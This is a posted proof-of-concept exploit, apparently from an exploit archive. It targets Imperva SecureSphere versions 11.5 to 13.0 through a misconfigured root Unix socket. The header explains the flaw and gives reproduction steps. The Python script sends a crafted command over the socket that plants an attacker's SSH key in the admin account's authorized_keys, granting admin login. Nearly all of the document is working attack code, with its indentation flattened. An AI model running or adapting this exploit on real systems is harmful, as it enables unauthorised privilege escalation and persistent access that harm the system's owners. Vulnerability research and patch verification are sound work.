Imperva SecureSphere 11.5 / 12.0 / 13.0 Privilege Escalation

`# Title: Imperva SecureSphere <= v13 - Privilege Escalation  
# Author: 0x09AL  
# Date: 01/08/2018  
# Tested on: Imperva SecureSphere 11.5,12.0,13.0  
# Vendor: https://www.imperva.com/  
# Vulnerability Description  
# There is a program named PCE.py which runs as root and starts a unix domain socket listener in /tmp/PCEListener.  
# The problem is that the permissions in this socket are misconfigured. Every user on the system can interact with it.  
# Using this exploit you can add arbritary ssh keys to authorized_keys for the admin user and login as the admin.  
# Steps to reproduce:  
# 1. Be a low-privileged user like oracle,apache. (You can simulate it by using `su oracle`)  
# 2. Create a keypair. ssh-keygen -t rsa -b 4096  
# 3. Modify the ssh_key variable.  
# 4. Run python exploit.py  
# 5. Login as the admin user using ssh -i id_rsa admin@ip-address.  
#   
  
  
import socket  
import sys  
import time  
# Create a UDS socket  
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)  
  
# Connect the socket to the port where the server is listening  
server_address = '/tmp/PCEListener'  
data = ''  
  
# The ssh rsa-key to be added to the admin user.  
ssh_key = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVM24qDoENqa1oRHJZEgZS7M/eRXHEnr0/OhdgUPWUblJJAj+f5fF7VkgvnJNSz/25OElNck4Z1qqpENBtHhe27H9100z2RceebKzNMOxHD2Sdut00uNMgL97AAuzhq6471XmcutHsndT12Bd85yxQPJiGaLIyEqgVigMaAz5Jya1pw4pB7r3m4hRbeFOaS74Edzr2pk8ND1EG/CG4qTP+dt0VhyjyEimZtt+2h4VT2spRNGzLO32vjPk4hSSSeu1dqPjg6dCNwgz6JS3clAaugeT8gnWjMnrt63PIUiXcioqEbJz+IHN20MHl2GXNuzAAvSw7U7ko4BhumfgchyFmkmfS6HdtP25kiQ6A4RexcAkfbfSYsapepHlvai1+FN+M67TpIpUlIR0xNrvJEgF6/51vAGCnOjZz4BDN740JHfGxAThyny5r4FTo5c9ZNYF8jAb6TqSX4HRS/AFo8l7AynPntCnXQCYSHcH/2XG/osrDNnuh0pUlTqCK10O2GoskBsxIBYTmWEoj/6hsbQyDGuicVa/e/xweo7MA2pNAPwxYDZt/h4G/wMrCSAk6FoEL6YXMRK/RwW6p2FDYRLeCoDa/RQ8R7dEquTLTqPgQF8rPsSuhILp/CKv03JkNRq94pDyCFGHHyz+TifZ0m1yIt13N7f8BXqw7OYFJ8cFGww== pwn@wpad'  
  
print >>sys.stderr, 'Connecting to %s' % server_address  
try:  
sock.connect(server_address)  
except socket.error, msg:  
print >>sys.stderr, msg  
sys.exit(1)  
try:  
# Send data  
message = '<commandSet Id="0" mode="Sync" sender="localhost"><commands><command num="0"><argv>platform ssh authorized create</argv><impctlParams/><params><param>--user=admin</param><param>--key=%s</param></params></command></commands></commandSet>' % ssh_key  
message_size = "0" * (10 - len(str(len(message)))) + str(len(message))  
print >>sys.stderr, 'Sending message size "%s"' % message_size  
sock.sendall("%s" % message_size)  
print >> sys.stderr, 'Sending exploit'  
sock.sendall(message)  
amount_received = 0  
amount_expected = int(sock.recv(10))  
while amount_received < amount_expected:  
data += sock.recv(10)  
amount_received = len(data)  
time.sleep(0.5)  
# print >>sys.stderr, 'received "%s"' % data  
print >>sys.stderr, 'Response : \n %s' % data  
finally:  
print >>sys.stderr, 'closing socket'  
sock.close()  
  
`